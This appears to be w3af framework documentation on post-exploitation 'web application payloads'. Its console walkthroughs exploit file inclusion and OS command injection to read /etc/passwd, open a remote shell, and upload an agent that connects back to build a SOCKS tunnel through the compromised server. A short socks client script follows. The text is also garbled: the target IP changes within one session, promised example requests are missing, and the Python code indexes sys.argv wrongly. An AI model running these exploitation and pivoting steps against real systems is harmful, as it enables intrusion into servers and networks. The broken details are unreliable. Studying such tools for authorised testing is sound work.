Web Application Payloads
From the hundreds of different Web Application Vulnerabilities that can be found on any web application, only a small percentage gives the intruder a direct way for executing operating system commands. And if we keep digging into that group we’ll identify only one or two that under normal circumstances might give the intruder elevated privileges.
Keeping always in mind that the objective of the penetration tester is to gain a root shell in the remote server, Web applications seem to offer more resistance than classic memory corruption exploits; which is true if you have a 0day exploit developed within the Metasploit framework that matches the remote server installation, but if not... the Web might be the only way in.
Until now, the exploitation of these vulnerabilities, and the steps needed to achieve access with a user of elevated privileges had to be performed manually, which could in many situations take hours (depending on the web application penetration tester’s skills) and may or may not achieve its objective.
Web Application Payloads are the evolution of old school system call payloads which are used in memory corruption exploits since the 80's. The basic problem solved by any payload is pretty simple: "I have access , what now?". In memory corruption exploits it's pretty easy to perform arbitrary tasks because after successful exploitation the attacker is able to control the remote CPU and memory, which allow for execution of arbitrary operating system calls. With this power it’s possible to create a new user, run arbitrary commands or upload files.
In the Web Application field the situation is completely different, the intruder is restricted to the "system calls" that the vulnerable Web Application script exposes. For example:
- Arbitrary File Read Vulnerabilities exposes read()
- OS Commanding Vulnerabilities exposes exec()
- SQL Injection Vulnerabilities exposes read(), write() and potentially exec()
Web Application Payloads are small pieces of code that are run in the intruder’s box, and then translated by the Web Application exploit to a combination of GET and POST requests to be sent to the remote Web server. For example, a call to the emulated syscall read() with
/proc/self/environ as a parameter would generate this request when it’s run through an arbitrary file read vulnerability:
And this other request when exploiting an OS Commanding vulnerability
Running Web Application Payloads
The following is a console dump from w3af scanning a vulnerable application, exploiting a vulnerability and then running the
w3af>>> plugins w3af/plugins>>> audit lfi w3af/plugins>>> back w3af>>> target w3af/config:target>>> set target http://localhost/local_file_read.php?file=section.txt w3af/config:target>>> back w3af>>> start Found 1 URLs and 1 different points of injection. The list of URLs is: - http://localhost/local_file_read.php The list of fuzzable requests is: - http://localhost/local_file_read.php | Method: GET | Parameters: (file="section.txt") Starting lfi plugin execution. Local File Inclusion was found at: "http://localhost/local_file_read.php", using HTTP method GET. The sent data was: "file=../../../../../../../../etc/passwd". This vulnerability was found in the request with id 3. Finished scanning process. w3af>>> exploit w3af/exploit>>> exploit local_file_reader local_file_reader exploit plugin is starting. -  <shell object (rsystem: "*nix")> Please use the interact command to interact with the shell objects. w3af/exploit>>> interact 0 Execute "end_interaction" to get out of the remote shell. Commands typed in this menu will run through the local_file_reader shell w3af/exploit/local_file_reader-0>>> payload list_processes ... PID NAME STATUS CMD 1 init S (sleeping) /sbin/init 5183 mysqld S (sleeping) /usr/sbin/mysqld w3af/exploit/local_file_reader-0>>>
This shows how it's possible to retrieve the full list of running process with a simple arbitrary file read vulnerability. Similar examples that are able to read the open TCP/IP connections, operating system IP route table, and much more information are not shown for the sake of brevity.
lsp command lists the available payloads, it's important to notice that the list of payloads that can be run changes based on the used exploit. For example, running
lsp inside a remote file inclusion shell will most likely return a list of all payloads, while running it inside a local file read shell will return the payloads that can be run when the vulnerability exposes only the read() syscall.
There are a set of web application payloads which can be used to interact with the metasploit framework. When the exploit provides the exec() syscall to the payloads, this allows the w3af user to upload metasploit payloads to the target system and execute them to continue the post-exploitation process.
- Identify the vulnerability during a scan
- Exploit the vulnerability
- Run “payload <payload_name>”
Proxying traffic through the compromised host
Also implemented as a web application payload, this feature allows you to create a reverse tunnel that will route TCP connections through the compromised server. Before going through an example to see how to use this feature, we will make a summary of the steps that will happen during exploitation:
- w3af finds a vulnerability that allows remote command execution
- The user exploits the vulnerability and starts the w3af_agent
- w3af performs an extrusion scan by sending a small executable to the remote server. This executable connects back to w3af and allows the framework to identify outgoing firewall rules on the remote network.
- w3af_agent manager will send a w3afAgentClient to the remote server. The process of uploading the file to the remote server depends on the remote operating system, the privileges of the user running w3af and the local operating system; but in most cases the following happens:
- w3af reuses the information from the first extrusion scan, which was performed in step 3 in order to know which port it can use to listen for connections from the compromised server.
- If a TCP port is found to be allowed in the remote firewall, w3af will try to run a server on that port and make a reverse connection from the compromised in order to download the PE/ELF generated file. If no TCP ports are enabled, w3af will send the ELF/PE file to the remote server using several calls to the “echo” command, which is rather slow, but should always work because it's an in-band transfer method.
- w3af_agent manager starts the w3afAgentServer that will bind on localhost:1080 (which will be used by the w3af user) and on the interface configured in w3af ( misc-settings->interface ) on the port discovered during step 3.
- The w3afAgentClient connects back to the w3afAgentServer, successfully creating the tunnel
- The user configures the proxy listening on localhost:1080 on his preferred software
- When the program connects to the socks proxy, all outgoing connections are routed through the compromised server
Now that we know the theory, let's see an example of what this feature can do:
w3af>>> plugins w3af/plugins>>> audit os_commanding w3af/plugins>>> back w3af>>> target w3af/target>>> set target http://188.8.131.52/w3af/v.php?c=list w3af/target>>> back w3af>>> start The list of found URLs is: - http://184.108.40.206/w3af/v.php Found 1 URLs and 1 different points of injection. The list of Fuzzable requests is: - http://220.127.116.11/w3af/v.php | Method: GET | Parameters: (c) Starting os_commanding plugin execution. OS Commanding was found at: http://18.104.22.168/w3af/v.php . Using method: GET. The data sent was: c=%2Fbin%2Fcat+%2Fetc%2Fpasswd The vulnerability was found in the request with id 2. w3af>>> exploit os_commanding exploit plugin is starting. Vulnerability successfully exploited. This is a list of available shells: -  <os_commanding object (ruser: "www-data" | rsystem: "Linux brick 2.6.24-19-generic i686 GNU/Linux")> Please use the interact command to interact with the shell objects. w3af/exploit>>> interact 0 Execute "end_interaction" to get out of the remote shell. Commands typed in this menu will run on the remote web server. w3af/exploit/os_commanding-0>>>
Nothing really new until now, we configured w3af, started the scan and exploited the vulnerability.
w3af/exploit/os_commanding-0>>> payload w3af_agent Usage: w3af_agent <your ip address> w3af/exploit/os_commanding-0>>> payload w3af_agent 22.214.171.124 Please wait some seconds while w3af performs an extrusion scan. The extrusion scan failed. Error: The user running w3af can't sniff on the specified interface. Hints: Are you root? Does this interface exist? Using inbound port "8080" without knowing if the remote host will be able to connect back.
The last messages are printed when you run w3af as a normal user, the reason is simple, when you run w3af as a user you can't sniff and therefor can't perform a successful extrusion scan. A successful extrusion scan would look like:
Please wait some seconds while w3af performs an extrusion scan. ExtrusionServer listening on interface: eth1 Finished extrusion scan. The remote host: "126.96.36.199" can connect to w3af with these ports: - 25/TCP - 80/TCP - 53/TCP - 1433/TCP - 8080/TCP - 53/UDP - 69/UDP - 139/UDP - 1025/UDP The following ports are not bound to a local process and can be used by w3af: - 25/TCP - 53/TCP - 1433/TCP - 8080/TCP Selecting port "8080/TCP" for inbound connections from the compromised server to w3af.
In both cases (superuser and user), these should be the following steps:
Starting w3afAgentClient upload. Finished w3afAgentClient upload. Please wait 30 seconds for w3afAgentClient execution. w3afAgent service is up and running. You may start using the w3afAgent that is listening on port 1080. All connections made through this SOCKS daemon will be relayed using the compromised server.
And now, from another console we can use a socksClient to route connections through the compromised server:
$ nc 188.8.131.52 22 (UNKNOWN) [184.108.40.206] 22 (ssh) : Connection refused $ python socks_client.py 127.0.0.1 22 SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1 Protocol mismatch.
Where the socks_client.py code looks like:
import extlib.socksipy.socks as socks import sys s = socks.socksocket() s.setproxy(socks.PROXY_TYPE_SOCKS4,"localhost") s.connect((sys.argv,int(sys.argv))) s.send('\n') print s.recv(1024)